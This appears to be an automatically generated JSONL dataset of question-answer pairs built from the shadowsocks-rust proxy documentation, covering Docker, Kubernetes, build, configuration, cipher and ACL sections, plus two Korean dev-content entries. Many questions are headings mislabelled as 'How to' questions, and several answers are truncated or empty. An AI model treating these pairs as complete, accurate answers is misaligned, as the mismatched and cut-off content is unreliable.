shadowsocks/sslocal-rust:v1.15.2 --target sslocal .\n```\n\n#### Run the container\n\nYou need to mount the configuration file into the container and create an external port map for the container to connect to it.\n\n```bash\ndocker run --name sslocal-rust \\\n  --restart always \\\n  -p 1080:1080/tcp \\\n  -v /path/to/config.json:/etc/shadowsocks-rust/config.json \\\n  -dit ghcr.io/shadowsocks/sslocal-rust:latest\n\ndocker run --name ssserver-rust \\\n  --restart always \\\n  -p 8388:8388/tcp \\\n  -p 8388:8388/udp \\\n  -v /path/to/config.json:/etc/shadowsocks-rust/config.json \\\n  -dit ghcr.io/shadowsocks/ssserver-rust:latest\n```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178710"}
{"id": "gh_085c5109ccb0", "question": "How to: **Deploy to Kubernetes**", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "This project provided yaml manifests for deploying to Kubernetes.\n\nYou can leverage k8s Service to expose traffic outside, like LoadBalancer or NodePort which gains more fine-grained compared with fixed host or port.\n\nFor a more interesting use case, you can use a Ingress(Istio, nginx, etc.) which routes the matched traffic to shadowsocks along with the real web service.\n\n#### Using `kubectl`\n\n`kubectl apply -f https://github.com/shadowsocks/shadowsocks-rust/raw/master/k8s/shadowsocks-rust.yaml`\n\nYou can change the config via editing the ConfigMap named `shadowsocks-rust`.\n\nFor more fine-grained control, use `helm`.\n\n#### Using `helm`\n\n`helm install my-release k8s/chart -f my-values.yaml`\n\nBelow is the common default values you can change:\n\n```yaml", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178718"}
{"id": "gh_0ce63a7181e4", "question": "How to: You can put arbitrary yaml here, and it will be translated to json before mounting.", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "servers:\n- server: \"::\"\n  server_port: 8388\n  service_port: 80 # the k8s service port, default to server_port\n  password: mypassword\n  method: aes-256-gcm\n  fast_open: true\n  mode: tcp_and_udp\n  # plugin: v2ray-plugin\n  # plugin_opts: server;tls;host=github.com", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178724"}
{"id": "gh_9e8e86c7a68c", "question": "How to: Name of the ConfigMap with config.json configuration for shadowsocks-rust.", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "configMapName: \"\"\n\nservice:\n  # Change to LoadBalancer if you are behind a cloud provider like aws, gce, or tke.\n  type: ClusterIP", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178731"}
{"id": "gh_f80502fa06f9", "question": "How to: Bind shadowsocks port port to host, i.e., we can use host:port to access shawdowsocks server.", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "hostPort: false\n\nreplicaCount: 1\n\nimage:\n  repository: ghcr.io/shadowsocks/ssserver-rust\n  pullPolicy: IfNotPresent\n  # Overrides the image tag whose default is the chart appVersion.\n  tag: \"latest\"\n```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178737"}
{"id": "gh_bffa0e51f455", "question": "How to: **Build from source**", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "Use cargo to build. NOTE: **RAM >= 2GiB**\n\n```bash\ncargo build --release\n```\n\nThen `sslocal` and `ssserver` will appear in `./target/(debug|release)/`, it works similarly as the two binaries in the official ShadowSocks' implementation.\n\n```bash\nmake install TARGET=release\n```\n\nThen `sslocal`, `ssserver`, `ssmanager` and `ssurl` will be installed to `/usr/local/bin` (variable PREFIX).\n\nFor Windows users, if you have encountered any problem in building, check and discuss in [#102](https://github.com/shadowsocks/shadowsocks-rust/issues/102).", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178743"}
{"id": "gh_acf5fcdb367a", "question": "How to: **target-cpu optimization**", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "If you are building for your current CPU platform (for example, build and run on your personal computer), it is recommended to set `target-cpu=native` feature to let `rustc` generate and optimize code for the CPU running the compiler.\n\n```bash\nexport RUSTFLAGS=\"-C target-cpu=native\"\n```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178749"}
{"id": "gh_d5f49cfbb188", "question": "How to: **Build standalone binaries**", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "Requirements:\n\n- Docker\n\n```bash\n./build/build-release\n```\n\nThen `sslocal`, `ssserver`, `ssmanager`, `ssservice` and `ssurl` will be packaged in\n\n- `./build/shadowsocks-${VERSION}-stable.x86_64-unknown-linux-musl.tar.xz`\n- `./build/shadowsocks-${VERSION}-stable.x86_64-pc-windows-gnu.zip`\n\nRead `Cargo.toml` for more details.\n\nFor Linux with low GLIBC versions, set `CROSS_CONFIG` to CentOS based image:\n\n```bash\nexport CROSS_CONFIG=Cross-centos.toml\n```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178756"}
{"id": "gh_ba9c1105d4d1", "question": "How to: Getting Started", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "Generate a safe and secured password for a specific encryption method (`aes-128-gcm` in the example) with:\n\n```bash\nssservice genkey -m \"aes-128-gcm\"\n```\n\nCreate a ShadowSocks' configuration file. Example\n\n```jsonc\n{\n    \"server\": \"my_server_ip\",\n    \"server_port\": 8388,\n    \"password\": \"rwQc8qPXVsRpGx3uW+Y3Lj4Y42yF9Bs0xg1pmx8/+bo=\",\n    \"method\": \"aes-256-gcm\",\n    // ONLY FOR `sslocal`\n    // Delete these lines if you are running `ssserver` or `ssmanager`\n    \"local_address\": \"127.0.0.1\",\n    \"local_port\": 1080\n}\n```\n\nDetailed explanation of the configuration file could be found in [shadowsocks' documentation](https://github.com/shadowsocks/shadowsocks/wiki). (Link to original project, not maintained anymore !)\n\n> :warning: For snap installations, configuration file is most probably located in `/var/snap/shadowsocks-rust/common/etc/shadowsocks-rust/config.json` (see\n/\n)\n\nIn shadowsocks-rust, we also have an extended configuration file format, which is able to define more than one server. You can also disable individual servers.\n\n```jsonc\n{\n    \"servers\": [\n        {\n            \"server\": \"127.0.0.1\",\n            \"server_port\": 8388,\n            \"password\": \"rwQc8qPXVsRpGx3uW+Y3Lj4Y42yF9Bs0xg1pmx8/+bo=\",\n            \"method\": \"aes-256-gcm\",\n            \"timeout\": 7200\n        },\n        {\n            \"server\": \"127.0.0.1\",\n            \"server_port\": 8389,\n            \"password\": \"/dliNXn5V4jg6vBW4MnC1I8Jljg9x7vSihmk6UZpRBM=\",\n            \"method\": \"chacha20-ietf-poly1305\"\n        },\n        {\n            \"disabled\": true,\n            \"server\": \"eg.disable.me\",\n            \"server_port\": 8390,\n            \"password\": \"mGvbWWay8ueP9IHnV5F1uWGN2BRToiVCAWJmWOTLU24=\",\n            \"method\": \"chacha20-ietf-poly1305\"\n        }\n    ],\n    // ONLY FOR `sslocal`\n    // Delete these lines if you are running `ssserver` or `ssmanager`\n    \"local_port\": 1080,\n    \"local_address\": \"127.0.0.1\"\n}\n```\n\n`sslocal` automatically selects the best server with the lowest latency and the highest availability.\n\nStart Shadowsocks client and server with:\n\n```bash\nsslocal -c config.json\nssserver -c config.json\n```\n\nIf you Build it with Cargo:\n\n```bash\ncargo run --bin sslocal -- -c config.json\ncargo run --bin ssserver -- -c config.json\n```\n\nList all available arguments with `-h`.", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178769"}
{"id": "gh_ed749df7ea36", "question": "How to: Pass all parameters via command line", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "sslocal -b \"127.0.0.1:1080\" -s \"[::1]:8388\" -m \"aes-256-gcm\" -k \"hello-kitty\" --plugin \"v2ray-plugin\" --plugin-opts \"server;tls;host=github.com\"", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178776"}
{"id": "gh_d3e09662b547", "question": "How to: Pass server with SIP002 URL", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "sslocal -b \"127.0.0.1:1080\" --server-url \"ss://YWVzLTI1Ni1nY206cGFzc3dvcmQ@127.0.0.1:8388/?plugin=v2ray-plugin%3Bserver%3Btls%3Bhost%3Dgithub.com\"\n```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178781"}
{"id": "gh_52a84339985b", "question": "How to: HTTP Local client", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "```bash\nsslocal -b \"127.0.0.1:3128\" --protocol http -s \"[::1]:8388\" -m \"aes-256-gcm\" -k \"hello-kitty\"\n```\n\nAll parameters are the same as Socks5 client, except `--protocol http`.", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178786"}
{"id": "gh_b6a639b3eaf6", "question": "How to: Set 127.0.0.1:8080 as the target for forwarding to", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "sslocal --protocol tunnel -b \"127.0.0.1:3128\" -f \"127.0.0.1:8080\" -s \"[::1]:8388\" -m \"aes-256-gcm\" -k \"hello-kitty\"\n```\n\n- `--protocol tunnel` enables local client Tunnel mode\n- `-f \"127.0.0.1:8080` sets the tunnel target address", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178792"}
{"id": "gh_797f18afe6a2", "question": "How to: Transparent Proxy Local client", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "**NOTE**: It currently only supports\n\n- Linux (with `iptables` targets `REDIRECT` and `TPROXY`)\n- BSDs (with `pf`), such as OS X 10.10+, FreeBSD, ...\n\n```bash\nsslocal -b \"127.0.0.1:60080\" --protocol redir -s \"[::1]:8388\" -m \"aes-256-gcm\" -k \"hello-kitty\" --tcp-redir \"redirect\" --udp-redir \"tproxy\"\n```\n\nRedirects connections with `iptables` configurations to the port that `sslocal` is listening on.\n\n- `--protocol redir` enables local client Redir mode\n- (optional) `--tcp-redir` sets TCP mode to `REDIRECT` (Linux)\n- (optional) `--udp-redir` sets UDP mode to `TPROXY` (Linux)", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178798"}
{"id": "gh_6a02a48bc80f", "question": "How to: Tun interface client", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "**NOTE**: It currently only supports\n\n- Linux, Android\n- macOS, iOS\n- Windows\n\n#### Linux\n\nCreate a Tun interface with name `tun0`\n\n```bash\nip tuntap add mode tun tun0\nifconfig tun0 inet 10.255.0.1 netmask 255.255.255.0 up\n```\n\nStart `sslocal` with `--protocol tun` and binds to `tun0`\n\n```bash\nsslocal --protocol tun -s \"[::1]:8388\" -m \"aes-256-gcm\" -k \"hello-kitty\" --outbound-bind-interface lo0 --tun-interface-name tun0\n```\n\n#### macOS\n\n```bash\nsslocal --protocol tun -s \"[::1]:8388\" -m \"aes-256-gcm\" -k \"hello-kitty\" --outbound-bind-interface lo0 --tun-interface-address 10.255.0.1/24\n```\n\nIt will create a Tun interface with address `10.255.0.1` and netmask `255.255.255.0`.\n\n#### Windows\n\nDownload `wintun.dll` from [Wintun](https://www.wintun.net/), and place it in the folder with shadowsocks' runnable binaries, or in the system PATH.\n\n```powershell\nsslocal --protocol tun -s \"[::1]:8388\" -m \"aes-256-gcm\" -k \"hello-kitty\" --outbound-bind-interface \"Ethernet 0\" --tun-interface-name \"shadowsocks\"\n```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178806"}
{"id": "gh_6c2b70997955", "question": "How to: Local client for Windows Service", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "Compile it by enabling `--features \"winservice\"` (not included in the default build):\n\n```bash\ncargo build --release --bin \"sswinservice\" --features \"winservice\"\n```\n\nInstall it as a Windows Service (PowerShell):\n\n```powershell\nNew-Service -Name \"shadowsocks-local-service\" `\n            -DisplayName \"Shadowsocks Local Service\" `\n            -BinaryPathName \"\n\\sswinservice.exe local -c\n\\local_config.json\"\n```\n\nThere are other ways to install `sswinservice` as a Windows Service, for example, the `sc` command.\n\nAs you may have noticed that the `-BinaryPathName` contains not only just the `sswinservice.exe`, but `local -c local_config.json`. These command line parameters will be used as the default parameter when the Windows Service starts. You can also start the service with customized parameters.\n\nLearn more from [Microsoft's Document](https://learn.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications).\n\nThe `sswinservice`'s parameter works exactly the same as `ssservice`. It supports `local`, `server` and `manager` subcommands.", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178813"}
{"id": "gh_c595a7bcaeb7", "question": "How to: Server Manager", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "Supported [Manage Multiple Users](https://github.com/shadowsocks/shadowsocks/wiki/Manage-Multiple-Users) API:\n\n- `add` - Starts a server instance\n- `remove` - Deletes an existing server instance\n- `list` - Lists all current running servers\n- `ping` - Lists all servers' statistic data\n\nNOTE: `stat` command is not supported. Because servers are running in the same process with the manager itself.\n\n```bash", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178825"}
{"id": "gh_d19da31c9a8e", "question": "How to: For *nix system, manager can bind to unix socket address", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "ssmanager --manager-address \"/tmp/shadowsocks-manager.sock\"", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178831"}
{"id": "gh_c38ad44976b6", "question": "How to: Create one server by UDP", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "echo 'add: {\"server_port\":8388,\"password\":\"hello-kitty\"}' | nc -u '127.0.0.1' '6100'", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178837"}
{"id": "gh_fd4edff9b94c", "question": "How to: Configuration", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "```jsonc\n{\n    // LOCAL: Listen address. This is exactly the same as `locals[0]`\n    // SERVER: Bind address for remote sockets, mostly used for choosing interface\n    //         Don't set it if you don't know what's this for.\n    \"local_address\": \"127.0.0.1\",\n    \"local_port\": 1080,\n\n    // Extended multiple local configuration\n    \"locals\": [\n        {\n            // Basic configuration, a SOCKS5 local server\n            \"local_address\": \"127.0.0.1\",\n            \"local_port\": 1080,\n            // OPTIONAL. Setting the `mode` for this specific local server instance.\n            // If not set, it will derive from the outer `mode`\n            \"mode\": \"tcp_and_udp\",\n            // OPTIONAL. Authentication configuration file\n            // Configuration file document could be found in the next section.\n            \"socks5_auth_config_path\": \"/path/to/auth.json\",\n            // OPTIONAL. Instance specific ACL\n            \"acl\": \"/path/to/acl/file.acl\",\n            // OPTIONAL. macOS launchd activate socket\n            \"launchd_tcp_socket_name\": \"TCPListener\",\n            \"launchd_udp_socket_name\": \"UDPListener\"\n        },\n        {\n            // SOCKS5, SOCKS4/4a local server\n            \"protocol\": \"socks\",\n            // Listen address\n            \"local_address\": \"127.0.0.1\",\n            \"local_port\": 1081,\n            // OPTIONAL. Enables UDP relay\n            \"mode\": \"tcp_and_udp\",\n            // OPTIONAL. Customizing the UDP's binding address. Depending on `mode`, if\n            // - TCP is enabled, then SOCKS5's UDP Association command will return this address\n            // - UDP is enabled, then SOCKS5's UDP server will listen to this address.\n            \"local_udp_address\": \"127.0.0.1\",\n            \"local_udp_port\": 2081,\n            // OPTIONAL. macOS launchd activate socket\n            \"launchd_tcp_socket_name\": \"TCPListener\",\n            \"launchd_udp_socket_name\": \"UDPListener\"\n        },\n        {\n            // Tunnel local server (feature = \"local-tunnel\")\n            \"protocol\": \"tunnel\",\n            // Listen address\n            \"local_address\": \"127.0.0.1\",\n            \"local_port\": 5353,\n            // Forward address, the target of this tunnel\n            // In this example, this will build a `127.0.0.1:5353` -> `8.8.8.8:53` tunnel\n            \"forward_address\": \"8.8.8.8\",\n            \"forward_port\": 53,\n            // OPTIONAL. Customizing whether to start TCP and UDP tunnel\n            \"mode\": \"tcp_only\",\n            // OPTIONAL. macOS launchd activate socket\n            \"launchd_tcp_socket_name\": \"TCPListener\",\n            \"launchd_udp_socket_name\": \"UDPListener\"\n        },\n        {\n            // HTTP local server (feature = \"local-http\")\n            \"protocol\": \"http\",\n            // Listen address\n            \"local_address\": \"127.0.0.1\",\n            \"local_port\": 3128,\n            // OPTIONAL. macOS launchd activate socket\n            \"launchd_tcp_socket_name\": \"TCPListener\",\n            // OPTIONAL. Authentication configuration file\n            // Configuration file document could be found in the next section.\n            \"http_auth_config_path\": \"/path/to/auth.json\",\n        },\n        {\n            // DNS local server (feature = \"local-dns\")\n            // This DNS works like China-DNS, it will send requests to `local_dns` and `remote_dns` and choose by ACL rules\n            \"protocol\": \"dns\",\n            // Listen address\n            \"local_address\": \"127.0.0.1\",\n            \"local_port\": 53,\n            // OPTIONAL. DNS local server uses `tcp_and_udp` mode by default\n            \"mode\": \"udp_only\",\n            // Local DNS address, DNS queries will be sent directly to this address\n            \"local_dns_address\": \"114.114.114.114\",\n            // OPTIONAL. Local DNS's port, 53 by default\n            \"local_dns_port\": 53,\n            // Remote DNS address, DNS queries will be sent through ssserver to this address\n            \"remote_dns_address\": \"8.8.8.8\",\n            // OPTIONAL. Remote DNS's port, 53 by default\n            \"remote_dns_port\": 53,\n            // OPTIONAL. dns client cache size for fetching dns queries.\n            \"client_cache_size\": 5,\n            // OPTIONAL. macOS launchd activate socket\n            \"launchd_tcp_socket_name\": \"TCPListener\",\n            \"launchd_udp_socket_name\": \"UDPListener\"\n        },\n        {\n            // Tun local server (feature = \"local-tun\")\n            \"protocol\": \"tun\",\n            // Tun interface name\n            \"tun_interface_name\": \"tun0\",\n            // Tun interface address\n            //\n            // It has to be a host address in CIDR form\n            \"tun_interface_address\": \"10.255.0.1/24\"\n        },\n        {\n            // Transparent Proxy (redir) local server (feature = \"local-redir\")\n            \"protocol\": \"redir\",\n            // OPTIONAL: TCP type, may be different between platforms\n            // Linux/Android: redirect (default), tproxy\n            // FreeBSD/OpenBSD: pf (default), ipfw\n            // Net", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178896"}
{"id": "gh_f4e236fcb985", "question": "How to: SOCKS5 Authentication Configuration", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "The configuration file is set by `socks5_auth_config_path` in `locals`.\n\n```jsonc\n{\n    // Password/Username Authentication (RFC1929)\n    \"password\": {\n        \"users\": [\n            {\n                \"user_name\": \"USERNAME in UTF-8\",\n                \"password\": \"PASSWORD in UTF-8\"\n            }\n        ]\n    }\n}\n```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178906"}
{"id": "gh_2c5e7777600c", "question": "How to: HTTP Authentication Configuration", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "The configuration file is set by `http_auth_config_path` in `locals`.\n\n```jsonc\n{\n    // Basic Authentication (RFC9110)\n    \"basic\": {\n        \"users\": [\n            {\n                \"user_name\": \"USERNAME in UTF-8\",\n                \"password\": \"PASSWORD in UTF-8\"\n            }\n        ]\n    }\n}\n```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178911"}
{"id": "gh_9ab495a6e942", "question": "How to: Environment Variables", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "- `SS_SERVER_PASSWORD`: A default password for servers that created from command line argument (`--server-addr`)\n- `SS_SYSTEM_DNS_RESOLVER_FORCE_BUILTIN`: `\"system\"` DNS resolver force use system's builtin (`getaddrinfo` in *NIX)", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178917"}
{"id": "gh_ad2706614aee", "question": "How to: AEAD 2022 Ciphers", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "- `2022-blake3-aes-128-gcm`, `2022-blake3-aes-256-gcm`\n- `2022-blake3-chacha20-poly1305`, `2022-blake3-chacha8-poly1305`\n\nThese Ciphers require `\"password\"` to be a Base64 string of key that have **exactly the same length** of Cipher's Key Size. It is recommended to use `ssservice genkey -m \"METHOD_NAME\"` to generate a secured and safe key.", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178923"}
{"id": "gh_5b75eb22c7a2", "question": "How to: AEAD Ciphers", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "- `chacha20-ietf-poly1305`\n- `aes-128-gcm`, `aes-256-gcm`", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178927"}
{"id": "gh_34c037d51fca", "question": "How to: Stream Ciphers", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "- `plain` or `none` (No encryption, only used for debugging or with plugins that ensure transport security)\nDeprecated\n- `table`\n- `aes-128-cfb`, `aes-128-cfb1`, `aes-128-cfb8`, `aes-128-cfb128`\n- `aes-192-cfb`, `aes-192-cfb1`, `aes-192-cfb8`, `aes-192-cfb128`\n- `aes-256-cfb`, `aes-256-cfb1`, `aes-256-cfb8`, `aes-256-cfb128`\n- `aes-128-ctr`\n- `aes-192-ctr`\n- `aes-256-ctr`\n- `camellia-128-cfb`, `camellia-128-cfb1`, `camellia-128-cfb8`, `camellia-128-cfb128`\n- `camellia-192-cfb`, `camellia-192-cfb1`, `camellia-192-cfb8`, `camellia-192-cfb128`\n- `camellia-256-cfb`, `camellia-256-cfb1`, `camellia-256-cfb8`, `camellia-256-cfb128`\n- `rc4-md5`\n- `chacha20-ietf`", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178935"}
{"id": "gh_ce7fd6adc463", "question": "How to: Available sections", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "- For local servers (`sslocal`, `ssredir`, ...)\n  - Modes:\n    - `[bypass_all]` - ACL runs in `WhiteList` mode. Bypasses all addresses except those matched any rules.\n    - `[proxy_all]` - ACL runs in `BlackList` mode. Proxies all addresses except those matched any rules. (default)\n  - Rules:\n    - `[bypass_list]` - Rules for connecting directly\n    - `[proxy_list]` - Rules for connecting through proxies\n- For remote servers (`ssserver`)\n  - Modes:\n    - `[reject_all]` - ACL runs in `WhiteList` mode. Rejects all clients except those matched any rules.\n    - `[accept_all]` - ACL runs in `BlackList` mode. Accepts all clients except those matched any rules. (default)\n    - `[outbound_block_all]` - Outbound ACL runs in `WhiteList` mode. Blockes all outbound addresses except those matched any rules.\n    - `[outbound_allow_all]` - Outbound ACL runs in `BlackList` mode. Allows all outbound addresses except those matched any rules. (default)\n  - Rules:\n    - `[white_list]` - Rules for accepted clients\n    - `[black_list]` - Rules for rejected clients\n    - `[outbound_block_list]` - Rules for blocking outbound addresses.\n    - `[outbound_allow_list]` - Rules for allowing outbound addresses.", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178943"}
{"id": "gh_4912977cc79c", "question": "How to: Useful Tools", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "1. `ssurl` is for encoding and decoding ShadowSocks URLs (SIP002). Example:\n\n  ```plain\n  ss://YWVzLTI1Ni1jZmI6cGFzc3dvcmQ@127.0.0.1:8388/?plugin=obfs-local%3Bobfs%3Dhttp%3Bobfs-host%3Dwww.baidu.com\n  ```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178955"}
{"id": "gh_73ade554904a", "question": "How to: Stargazers over time", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "[![Stargazers over time](https://starchart.cc/shadowsocks/shadowsocks-rust.svg)](https://starchart.cc/shadowsocks/shadowsocks-rust)", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178964"}
{"id": "gh_1623ef559bfe", "question": "How to: { 고퀄리티 ⚡ 개발 컨텐츠 모음 }", "question_body": "About Integerous/goQuality-dev-contents", "answer": "", "tags": ["Integerous"], "source": "github_gists", "category": "Integerous", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10032, "answer_score": 10, "has_code": false, "url": "https://github.com/Integerous/goQuality-dev-contents", "collected_at": "2026-01-16T23:31:13.317226"}
{"id": "gh_9c1d8f4a3059", "question": "How to: 🚀 [goquality.dev](https://goquality.dev/?ref=goquality.github.com)를 오픈했습니다.", "question_body": "About Integerous/goQuality-dev-contents", "answer": "- 2018년부터 쌓아온 약 **1,507개**의 컨텐츠(Queue 제외)의 퀄리티 평가를 진행하여 약 **450개**만 살아남았습니다.\n- 앞으로 새로운 고퀄리티 컨텐츠들이 지속적으로 추가될 예정이며, [goquality.dev](https://goquality.dev/?ref=goquality.github.com)도 계속 개선될 예정입니다.\n- 아래 📭 **Queue**의 컨텐츠들도 평가 진행 예정입니다.", "tags": ["Integerous"], "source": "github_gists", "category": "Integerous", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10032, "answer_score": 10, "has_code": false, "url": "https://github.com/Integerous/goQuality-dev-contents", "collected_at": "2026-01-16T23:31:13.317246"}
